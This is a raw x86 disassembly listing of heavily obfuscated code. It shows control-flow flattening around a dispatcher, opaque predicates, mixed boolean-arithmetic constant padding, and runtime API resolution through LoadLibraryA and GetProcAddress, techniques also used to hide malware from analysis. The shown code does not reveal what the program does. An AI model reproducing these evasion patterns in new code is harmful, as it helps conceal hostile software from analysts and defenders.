xor dh, 0xff
and ah, dh
or dl, ah
mov byte [ebp - 0x1bcd4], dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x1bcd7], dh
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and dh, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and bh, dl
or dh, al
mov al, byte [ebp - 0x1bcd7]
or bl, bh
xor dh, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov dl, 1
xor dl, 1
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, dl
and dh, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0x1bcd6], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1bcd5], al
mov al, byte [ebp - 0x1bcd6]
and cl, bl
or dh, al
mov al, byte [ebp - 0x1bcd5]
or al, cl
mov cl, byte [ebp - 0x1bcd4]
xor dh, al
mov al, byte [ebp - 0x1bcd3]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or dh, dl
xor ah, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or ah, dh
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov ah, al
and ah, dh
or cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x1bcd2], cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov dh, ah
xor dh, 0xff
mov cl, al
xor cl, dh
and cl, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov bh, 1
xor bh, 0
mov al, dl
and al, bh
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or dh, al
mov al, byte [ebp - 0x1bcd2]
or bl, bh
xor dh, bl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 0
or dh, bh
or bl, 0
xor dh, 0xff
and dh, bl
mov byte [ebp - 0x1bcce], dh
xor ah, 0xff
mov bl, dl
xor bl, ah
and bl, dl
mov ah, al
xor ah, 0xff
mov dh, cl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov dl, ah
and dl, 0xff
and al, bh
mov byte [ebp - 0x1bcd1], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x1bcd0], al
mov al, byte [ebp - 0x1bcd1]
and cl, bh
or dl, al
mov al, byte [ebp - 0x1bcd0]
or al, cl
mov cl, byte [ebp - 0x1bccf]
xor dl, al
mov al, byte [ebp - 0x1bcce]
or ah, dh
mov dh, byte [ebp - 0x1bccd]
xor ah, 0xff
or bh, 1
and ah, bh
or dl, ah
mov ah, al
and ah, bl
xor al, bl
or ah, al
mov bl, dl
xor bl, 0xff
mov al, ah
and al, bl
xor ah, 0xff
and dl, ah
or al, dl
mov dl, cl
xor dl, 0xff
mov bl, ch
xor bl, 0xff
mov ah, 1
xor ah, 0
or dl, bl
or ah, 0
xor dl, 0xff
and dl, ah
mov bl, cl
xor bl, 0xff
mov ah, ch
and ah, bl
xor ch, 0xff
and cl, ch
or ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or ch, dl
mov dl, 1
xor dl, 0
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, 1
xor ah, 0
and ah, 1
mov ch, 1
xor ch, 1
and ch, 0
or ah, ch
mov ch, ah
xor ch, 0xff
mov bl, cl
xor bl, ch
and bl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
mov bh, 1
xor bh, 0
mov ch, 1
xor ch, 0
or cl, bh
or ch, 0
xor cl, 0xff
and cl, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, dl
and ch, bl
xor dl, bl
or ch, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov ah, ch
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and ch, bl
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bl
or ah, ch
or cl, dl
xor ah, cl
mov dl, 1
xor dl, 0
mov ch, dh
xor ch, 0xff
mov cl, 1
xor cl, 0
or dl, ch
or cl, 0
xor dl, 0xff
and dl, cl
mov ch, 1
xor ch, 0
and ch, 0
mov bh, 1
xor bh, 0
mov bl, bh
and bl, 0
mov cl, dh
xor cl, 0xff
and cl, 0
and dh, bh
or ch, bl
or cl, dh
xor ch, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and cl, ch
or ah, cl
mov cl, 1
xor cl, 1
and cl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, dh
or cl, ch
xor dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
mov byte [ebp - 0x1bcc9], ch
mov dl, cl
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bl, cl
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or dl, bl
or ah, dh
xor dl, ah
mov bh, 1
xor bh, 1
and bh, 1
mov ah, 1
xor ah, 1
and ah, 1
or bh, ah
mov dh, 1
xor dh, 1
mov ah, ch
xor ah, dh
and ah, ch
mov ch, bh
xor ch, 0xff
mov dh, al
xor dh, ch
and dh, al
mov ch, 1
xor ch, 1
mov al, dl
xor al, ch
and al, dl
xor cl, 0xff
mov bl, bh
xor bl, 0xff
mov ch, 1
xor ch, 0
or cl, bl
or ch, 0
xor cl, 0xff
and cl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1bcca], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
and al, dh
mov byte [ebp - 0x1bccc], al
mov al, bl
and al, 0
mov byte [ebp - 0x1bccb], al
mov al, byte [ebp - 0x1bccc]
and cl, dh
or ah, al
mov al, byte [ebp - 0x1bccb]
or al, cl
mov cl, byte [ebp - 0x1bcca]
xor ah, al
mov al, byte [ebp - 0x1bcc9]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ah, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x1bcc8], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x1bcc8]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x53eef3b3
mov ecx, 0xe38a9df9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b794]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1b768]
mov eax, dword [eax]
mov edx, dword [ebp - 0x1b764]
imul edx, dword [edx], 0x14
add eax, edx
mov edx, dword [eax + 0xc]
add ecx, 0x733dd9c7
add ecx, 0x2e175eae
sub ecx, 0x733dd9c7
sub ecx, 0xb30757cd
add ecx, 0xdad46dea
add ecx, 0xb30757cd
xor eax, eax
sub eax, 0x2e175eae
add ecx, eax
add ecx, 0xee401cc5
add ecx, 0x401e4c8e
sub ecx, 0xee401cc5
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0x7a121ab3
sub ecx, 0x401e4c8e
sub ecx, 0x7a121ab3
xor eax, eax
sub eax, 0x28d846b4
add ecx, eax
add ecx, 0x39a8e828
sub ecx, 0xdad46dea
sub ecx, 0x39a8e828
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x28d846b4
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x1b760]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1b760]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x1b75c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1b75c]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x1b695], al
mov dword [ebp - 0x1b7b0], 0x303861ed
jmp 0x4b3015
mov dl, byte [ebp - 0x1b695]
mov eax, 0x35861b78
mov ecx, 0x73fa740b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xd01142d6
jmp 0x4b3015
mov eax, dword [0x62b5d4]
mov ecx, dword [0x62b5d0]
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, 0x39366e9c
add edx, esi
xor esi, esi
sub esi, edx
add esi, 0x1e239977
sub esi, 1
sub esi, 0x1e239977
add esi, 0xd8599da3
sub esi, 0x39366e9c
sub esi, 0xd8599da3
xor edi, edi
sub edi, 0xd3289508
mov edx, eax
sub edx, edi
add edx, 0x40092eff
add edx, esi
sub edx, 0x40092eff
sub edx, 0xf3936600
sub edx, 0xd3289508
add edx, 0xf3936600
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dl, cl
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov ch, ah
and ch, dl
xor ah, 0xff
mov dl, al
and dl, ah
or ch, dl
xor ch, 0xff
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 0
or ch, ah
or dl, 0
xor ch, 0xff
and ch, dl
mov bh, al
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bh, dh
or dl, ah
xor bh, dl
xor bh, 0xff
xor bh, 0
and bh, 0
mov dl, 1
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or dl, bl
or ah, dh
xor dl, ah
xor al, 0xff
mov dh, dl
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov dh, cl
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
mov ah, cl
and ah, bl
or dh, ah
mov bl, 1
xor bl, 0
mov ah, dh
xor ah, bl
and ah, dh
mov byte [ebp - 0x1bdfb], ah
xor dl, 0xff
mov ah, cl
xor ah, dl
and ah, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, cl
and dl, 0xff
and bh, dh
mov byte [ebp - 0x1bdfd], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x1bdfc], al
mov al, byte [ebp - 0x1bdfd]
or dl, al
mov al, byte [ebp - 0x1bdfc]
or bh, al
mov al, byte [ebp - 0x1bdfb]
xor dl, bh
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, dl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and dl, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ah, dl
or al, cl
xor ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55798010
mov ecx, 0x1361722e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [0x62b5d4]
mov ecx, dword [0x62b5d0]
mov edx, 0x9c443777
add edx, 0
sub edx, 1
sub edx, 0x9c443777
xor edi, edi
sub edi, 0x1eb02f5d
add edi, edx
add edi, 0x1eb02f5d
xor esi, esi
sub esi, 0x5637bca2
sub esi, eax
add esi, 0x5637bca2
xor edx, edx
sub edx, edi
add edx, 0
add esi, 0xee0997a4
add esi, edx
sub esi, 0xee0997a4
mov edx, 0x2182536d
add edx, 0
sub edx, esi
sub edx, 0x2182536d
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl ch
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
mov al, ah
xor al, 0xff
mov dl, cl
and dl, al
xor cl, 0xff
mov al, ah
and al, cl
or dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov dh, ah
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
mov bl, ah
and bl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov cl, 1
xor cl, 1
xor dh, 0xff
mov al, 1
xor al, 0
or cl, dh
or al, 0
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 1
and bl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bl, bh
or al, dh
xor bl, al
mov dh, bl
xor dh, 0xff
mov al, ah
xor al, dh
and al, ah
mov byte [ebp - 0x1be20], al
mov dh, ch
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
mov al, ch
and al, bh
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or dh, al
mov al, byte [ebp - 0x1be20]
or ah, bh
xor dh, ah
mov bh, 1
xor bh, 1
mov ah, dh
xor ah, bh
and ah, dh
xor ch, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or ch, bl
or dh, 1
xor ch, 0xff
and ch, dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x1be1e], bh
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
and bh, 0xff
mov byte [ebp - 0x1be1f], bh
and cl, dh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x1be1d], al
mov al, byte [ebp - 0x1be1f]
or al, cl
mov cl, byte [ebp - 0x1be1e]
mov byte [ebp - 0x1be1c], al
mov al, byte [ebp - 0x1be1d]
or bh, al
mov al, byte [ebp - 0x1be1c]
xor al, bh
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, ch
xor cl, 0xff
and al, cl
or ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc70e977
mov ecx, 0x6b10ea02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
mov edx, 0xeabbe462
add edx, 0
sub edx, 1
sub edx, 0xeabbe462
xor edi, edi
sub edi, 0xe65f21e3
add edi, edx
add edi, 0xe65f21e3
xor esi, esi
sub esi, 0xecac8704
mov edx, ecx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xa1b32f04
sub edx, 0xecac8704
sub edx, 0xa1b32f04
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl ch
mov dl, ch
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, ch
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov al, bl
xor al, 0xff
mov cl, dl
and cl, al
xor dl, 0xff
mov al, bl
and al, dl
or cl, al
xor cl, 0xff
mov dl, bl
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, bl
and dl, ah
or al, dl
xor al, 0xff
mov bh, ch
xor bh, al
and bh, ch
mov dl, ch
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov ch, al
and ch, 0xff
and bh, dl
mov dh, ah
and dh, 0xff
and bl, dl
or ch, bh
or dh, bl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
mov byte [ebp - 0x1be68], al
mov bh, ch
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov dh, ch
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bh, dh
or dl, ah
xor bh, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
xor al, 0xff
mov dh, 1
xor dh, 1
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov ah, 1
xor ah, 1
or cl, dh
or ah, 1
xor cl, 0xff
and cl, ah
mov dh, 1
xor dh, 1
mov ah, bh
xor ah, dh
and ah, bh
mov byte [ebp - 0x1be6c], ah
mov dh, dl
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x1be6d], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0x1be6f], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1be6e], al
mov al, byte [ebp - 0x1be6f]
and cl, dh
or ch, al
mov al, byte [ebp - 0x1be6e]
or al, cl
mov cl, byte [ebp - 0x1be6d]
xor ch, al
mov al, byte [ebp - 0x1be6c]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1be69], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
and al, dh
mov byte [ebp - 0x1be6b], al
mov al, bl
and al, 0
mov byte [ebp - 0x1be6a], al
mov al, byte [ebp - 0x1be6b]
and cl, dh
or ah, al
mov al, byte [ebp - 0x1be6a]
or al, cl
mov cl, byte [ebp - 0x1be69]
xor ah, al
mov al, byte [ebp - 0x1be68]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ah, cl
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x1be67], ch
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov dh, ah
and dh, 0
and bh, cl
or ch, al
mov al, byte [ebp - 0x1be67]
or dh, bh
xor ch, dh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd7804dd
mov ecx, 0x67b7f313
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b674]
mov ecx, dword [ebp - 0x1b75c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x1b74c]
mov dword [eax], ecx
mov dword [ebp - 0x1b7b0], 0xed8c706a
jmp 0x4b3015
mov eax, dword [ebp - 0x1b74c]
mov eax, dword [eax]
mov dword [ebp - 0x1b670], eax
mov eax, dword [ebp - 0x1b794]
mov eax, dword [eax]
mov dword [ebp - 0x1b66c], eax
mov eax, dword [ebp - 0x1b768]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b764]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov dword [ebp - 0x1b668], eax
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor edi, edi
sub edi, 0x1477cc7
add edi, 0xf49068a6
add edi, 0x1477cc7
xor edx, edx
sub edx, 1
add edi, edx
add edi, 0xb790a009
sub edi, 0xf49068a6
sub edi, 0xb790a009
mov edx, ecx
sub edx, 0x6c8d97d3
sub edx, 0x81be25c4
add edx, 0x6c8d97d3
xor esi, esi
sub esi, edi
sub edx, esi
sub edx, 0xf8aeb36d
add edx, 0x81be25c4
add edx, 0xf8aeb36d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl cl
mov bh, bl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
mov dl, 1
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov byte [ebp - 0x1bea2], dl
mov dl, bh
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, dl
and dh, 0
and bh, ah
mov byte [ebp - 0x1bea4], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x1bea3], al
mov al, byte [ebp - 0x1bea4]
or dh, al
mov al, byte [ebp - 0x1bea3]
or bh, al
mov al, byte [ebp - 0x1bea2]
xor dh, bh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or dh, dl
mov ah, 1
xor ah, 0
mov byte [ebp - 0x1be9f], ah
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 0
and ah, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0x1bea1], bh
mov bh, ch
and bh, 0
and al, dl
mov byte [ebp - 0x1bea0], al
mov al, byte [ebp - 0x1bea1]
or ah, al
mov al, byte [ebp - 0x1bea0]
or bh, al
mov al, byte [ebp - 0x1be9f]
xor ah, bh
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or ah, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dl, dh
or al, ch
xor dl, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov byte [ebp - 0x1be9d], al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, bl
and dl, ah
or al, dl
xor al, 0xff
xor al, 0
and al, 0
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
and ah, 0
or dl, ah
xor bl, 0xff
mov ch, dl
xor ch, 0xff
mov ah, 1
xor ah, 0
or bl, ch
or ah, 0
xor bl, 0xff
and bl, ah
mov ch, cl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
mov bh, cl
and bh, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, bh
or ah, dh
xor ch, ah
mov dh, 1
xor dh, 0
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x1be9e], ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bl, ah
or dl, al
mov al, byte [ebp - 0x1be9e]
or dh, bl
xor dl, dh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x1be9d]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
or bl, ah
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcaa81af7
mov ecx, 0x6c18ad5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xb8c92755
jmp 0x4b3015
mov eax, dword [ebp - 0x1b764]
mov ecx, dword [eax]
xor edx, edx
sub edx, 0x2631f27f
add edx, 0xba230d91
add edx, 0x2631f27f
sub edx, 0x5b5e5d0a
sub edx, 1
add edx, 0x5b5e5d0a
sub edx, 0x3a145c3b
sub edx, 0xba230d91
add edx, 0x3a145c3b
xor eax, eax
sub eax, 0x9124a2c3
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
add ecx, 0xa0ab58a1
sub ecx, 0x9124a2c3
sub ecx, 0xa0ab58a1
mov eax, dword [ebp - 0x1b764]
mov dword [eax], ecx
mov dword [ebp - 0x1b7b0], 0xeabaa1f6
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
mov edx, ecx
add edx, 0xace13fed
add edx, 0xf1a7d670
sub edx, 0xace13fed
add edx, 0xd7169f31
add edx, 0xed5f5932
sub edx, 0xd7169f31
add edx, 0xa76cd866
sub edx, 0xf1a7d670
sub edx, 0xa76cd866
sub edx, 0xe74c88be
add edx, 0x755ced12
add edx, 0xe74c88be
add edx, 0x94273f5d
sub edx, 1
sub edx, 0x94273f5d
sub edx, 0xc0b0db09
sub edx, 0x755ced12
add edx, 0xc0b0db09
xor esi, esi
sub esi, 0x6474cabe
add edx, esi
xor esi, esi
sub esi, 0xed5f5932
add edx, esi
add edx, 0x8320bf13
add edx, 0x6474cabe
sub edx, 0x8320bf13
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov dh, cl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
